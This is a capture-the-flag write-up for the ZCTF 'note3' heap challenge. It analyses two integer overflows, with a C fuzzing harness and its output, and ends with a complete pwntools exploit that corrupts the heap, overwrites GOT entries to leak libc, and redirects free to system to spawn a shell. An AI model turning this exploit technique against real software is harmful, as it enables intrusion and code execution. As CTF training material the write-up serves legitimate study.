ZCTF Challenge 3 [MEDIUM] [Double Free]

note3

1. Functionality, Vulnerability & Protection

1.1 Functionality

Looks like the ZCTF Challenge2 but you can’t print note anymore.

1.2 Protection

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

1.3 Vulnerability

1.3.1 Integer Overflow 1

Since the programmer mistakenly use unsigned value, we can input arbitrary length of payload in the heap memory.

1.3.2 Fastbin Attack?

OK, if we can create note with length zero, we can get nice 32 bytes fastbin and nice heap overflow.

So now I want to leak the arena:

1
2
3
4
5
6
7
8
9
create_note(0, 'note_0') #32 <--- overflow here.
create_note(0, 'note_1') #32
create_note(0, 'note_2') #32
create_note(0, 'note_3') #32
create_note(0, 'note_4') #32
create_note(0, 'note_5')
create_note(0, 'note_6')

payload = 'a' * 16 + p64(0x0) + p64(0xa1)

But wait… Where is the print function?

1.3.3 Another Integer overflow

Well, the only suspicious thing left is this mod operation:

How about do some fuzzing? :)

BTW: DON’T TRUST IDA DECOMPILER!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <limits.h>
#include <inttypes.h>

void blackbox(__uint64_t y, __uint64_t *chunk_addr, __uint64_t *addr_size) {
__int64_t x = y;
if (x < 0) {
x = -x;
}

__int128_t v1 = ((0x4924924924924925 * (__uint128_t)x));

v1 = (v1 >> 64) >> 1;
v1 = v1 - (x >> 63);
__int64_t v2 = v1 << 3;

v2 = v2 - v1;
v2 = x - v2;

if (v2 >= x) {
*chunk_addr = (__int64_t)v2 * 8 + 0x6020c8;
*addr_size = 0x6020c0 + (v2 + 8) * 8;
} else {
*chunk_addr = *addr_size = 0xDEADBEEF;
}
}

int main(int argc, char *argv[]) {
__uint64_t fuzz[] = {
0,
ULLONG_MAX,
ULLONG_MAX - 1,
ULLONG_MAX - 2,

LLONG_MAX,
LLONG_MAX - 1,
LLONG_MAX - 2,
LLONG_MAX + 1,
LLONG_MAX + 2,
LLONG_MAX + 3,
};

__uint64_t chunk_addr, addr_size;
for (int i = 0; i < sizeof(fuzz) / 8; i++) {
blackbox(fuzz[i], &chunk_addr, &addr_size);
printf("%"PRIx64" --> *(%"PRIx64"), %"PRIx64"\n\n", fuzz[i],
chunk_addr, addr_size);
}
}

And the result:

1
2
3
4
5
6
7
8
9
10
0 --> *(6020c8), 602100
ffffffffffffffff --> *(6020d0), 602108
fffffffffffffffe --> *(6020d8), 602110
fffffffffffffffd --> *(6020e0), 602118
7fffffffffffffff --> *(deadbeef), deadbeef
7ffffffffffffffe --> *(deadbeef), deadbeef
7ffffffffffffffd --> *(deadbeef), deadbeef
8000000000000000 --> *(6020c0), 6020f8
8000000000000001 --> *(deadbeef), deadbeef
8000000000000002 --> *(deadbeef), deadbeef

Look at the last third line: 0x6020f8 is always zero, we can write arbitrary length of data; 0x6020c0 points to the most recent heap chunk, so we can enjoy the double free!

2. Attack

2.1 Libc leak

By double free, we can overwrite 0x6020e8 for controlling 0x6020d0. Overwrite got.free to plt.puts seems to be aa good idea but:

=> use plt.printf instead

2.2 Overwrite

Overwrite got.free to system.

3. Full Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'
context.terminal = ['tmux', 'splitw', '-v']

libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
bin_path = './note3'

libc = ELF(libc_path)
binary = ELF(bin_path)

host = ''
port = 1

def debug():
gdb.attach(p)
raw_input()

def create_note(size, payload):
p.recvuntil('option--->>\n')
p.sendline('1')
p.recvuntil('(less than 1024)\n')
p.sendline(str(size))
p.recvuntil('Input the note content:\n')
p.sendline(payload)

def edit_note(note_id, payload):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('Input the id of the note:')
if note_id != -1:
p.sendline(str(note_id))
else:
p.sendline('-9223372036854775808')
p.recvuntil('Input the new content:')
p.sendline(payload)

def del_note(note_id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('Input the id of the note:')
p.sendline(str(note_id))

def exploit():

create_note(256, '0')
create_note(256, '1')
create_note(256, '2')
create_note(256, '3')
create_note(256, '4')
create_note(256, '5')
create_note(256, '6')

g_victim = 0x6020e8

edit_note(4, '4')

payload = p64(0) + p64(0x100|1)
payload += p64(g_victim - 0x18) + p64(g_victim - 0x10)
payload += 'a' * 0xe0
payload += p64(0x100) + p64(0x110)

edit_note(-1, payload)
del_note(5)

edit_note(4, p64(binary.symbols['got.free']))
edit_note(1, p64(binary.symbols['plt.printf']) * 2)
edit_note(4, p64(binary.symbols['got.atoi']))

del_note(1)
leak = p.recv().split('Del')[0]
leak = u64(leak + '\x00'*2)

libc.address = leak - libc.symbols['atoi']

p.sendline('')
edit_note(0, '/bin/sh')
edit_note(4, p64(binary.symbols['got.free']))
edit_note(1, p64(libc.symbols['system']) + p64(libc.symbols['puts']))
del_note(0)
p.interactive()

if __name__ == '__main__':
if len(sys.argv) == 1:
global p
p = process(executable=bin_path, argv=[bin_path],
env={'LD_PRELOAD':libc_path})
else:
p = remote(host, port)
exploit()